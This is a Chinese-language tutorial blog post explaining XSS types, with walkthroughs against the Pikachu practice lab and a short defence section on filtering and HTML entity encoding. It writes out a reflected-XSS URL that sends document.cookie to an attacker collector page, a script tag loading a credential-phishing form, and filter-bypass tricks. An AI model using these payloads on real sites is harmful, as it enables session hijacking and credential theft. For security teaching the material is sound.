前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XSS跨站脚本攻击与防御

XSS跨站脚本攻击与防御

原创
作者头像
婷婷的橙子
修改2020-11-02 10:49:19
1K0
修改2020-11-02 10:49:19
举报
文章被收录于专栏:基础web安全基础web安全

一. XSS原理

XSS全称CSS (Cross Site Script) ,跨站脚本攻击,XSS属于客户端攻击,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。

造成XSS漏洞的原因是程序对输入和输出的控制不够严格,导致"精心构造“的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害

二. XSS分类

XSS从利用角度分为三类,分别是:存储型,反射型,DOM型.

1. 储存型(高危)

攻击者传递的恶意参数存储在服务端,例如数据库中,永久性存储,稳定性强.

  • 第一步. 在留言板界面插入钓鱼页面,跳出弹窗后输入账户密码登陆,存储型漏洞每次打开都会跳出钓鱼页面.
  • 第二步. 登陆后台就可以看到钓鱼结果,查看账户密码,
2. 反射型(中危)

交互的数据不会存储在数据库,只会操作一次,把用户输入的数据反射给浏览器.

  • 第一步. 右键查看元素,修改输入长度限制,
  • 第二步. 输入<script>confirm(1)</script>提交,跳出弹窗
  • 第三步. 我们验证漏洞的时候只要输入这行代码,会跳出弹窗来,说明可以执行攻击者的代码.反射型也储存型的不同点在于,反射型输入代码后只会执行一次,储存型每次打开插入恶意代码的这个页面,都会跳出弹窗来
3. DOM型(低危)

不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞.可以理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态的访问和修改文档内容、结构和样式.当创建好一个页面并加载到浏览器时,DOM就悄然而生,它会把网页文档转换为文档对象,主要功能是处理页面内容.故可以使用Javascript语言来操作DOM已达到网页的目的.

  • 第一步. DOM是每个浏览器都支持的一个接口,插入代码是一般是在a标签里,例如:<a href='"+str+"'>what do you see?</a>
  • 第二步. 点击what do you see,页面会弹窗,一般来说DOM型作用不大,知道有这个类型就型了.

三. XSS实战

只要有输入且能输出的地方都有可能存在XSS漏洞

1. 劫持用户cookie

劫持用户cookie是最常见的跨站攻击形式,通过在网页中写入并执行脚本执行文件(多数情况下是JavaScript脚本代码),劫持用户浏览器,将用户当前使用的sessionID信息发送至攻击者控制的网站或服务器中。

1.1 劫持用户cookie实战
  • 第一步. 设置重定向地址
    http://192.168.60.128:999/pikachu/vul/xss/xss_reflected_get.php?message='"> --用户访问的xxx地址 <script>document.location = 'http://192.168.60.128:999/pikachu/pkxss/xcookie/cookie.php? --获取cookie信息到攻击者搭建的XSS平台 cookie=' + document.cookie;</script>&submit=submit --攻击者恶意代码
  • 第二步. URL地址栏输入http://192.168.60.128:999/pikachu/vul/xss/xss_reflected_get.php?message='"><script>document.location = 'http://192.168.60.128:999/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>&submit=submit点击访问.
  • 第三步. 管理平台--XSS后台查看cookie搜集

1. 框架钓鱼

利用JS脚本的基本功能之一:操作网页中的DOM树结构和内容,在网页中通过JS脚本,生成虚假的页面,欺骗用户执行操作,而用户所有的输入内容都会被发送到攻击者的服务器

1.1实战
  • 第一步. 找到C:\phpStudy\WWW\pikachu\pkxss\xfish\fish.php,将ip地址修改为管理后台的ip.
  • 第二步. 输入代码:111'"><script src="http://192.168.60.128:999/pikachu/pkxss/xfish/fish.php"></script>
  • 第三步. 跳出弹窗,如果是管理员访问登录这个页面,那我们就可以拿到他的账号密码
  • 第四步. 我们来到管理工具--XSS后台,输入账号密码进入后台,查看钓鱼成果.

四. XSS绕过与防范

1. XSS绕过
  • 前端限制绕过 --抓包
  • 大小写混合 --phP
  • 拼凑绕过 --<sc<script>ript>
  • 编码
2. XSS防范
  • 对输入进行过滤,对输出进行html实体编码 & (和号)成为 &amp " (双引号)成为 &quot ’(单引号)成为&#039 < (小于)成为 &lt > (大于)成为 &gt
代码语言:txt
复制

注:本文用到漏洞平台为pikachu

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一. XSS原理
  • 二. XSS分类
    • 1. 储存型(高危)
      • 2. 反射型(中危)
        • 3. DOM型(低危)
        • 三. XSS实战
          • 1. 劫持用户cookie
            • 1.1 劫持用户cookie实战
          • 1. 框架钓鱼
            • 1.1实战
            • 1. XSS绕过
            • 2. XSS防范
        • 四. XSS绕过与防范
        相关产品与服务
        网站渗透测试
        网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档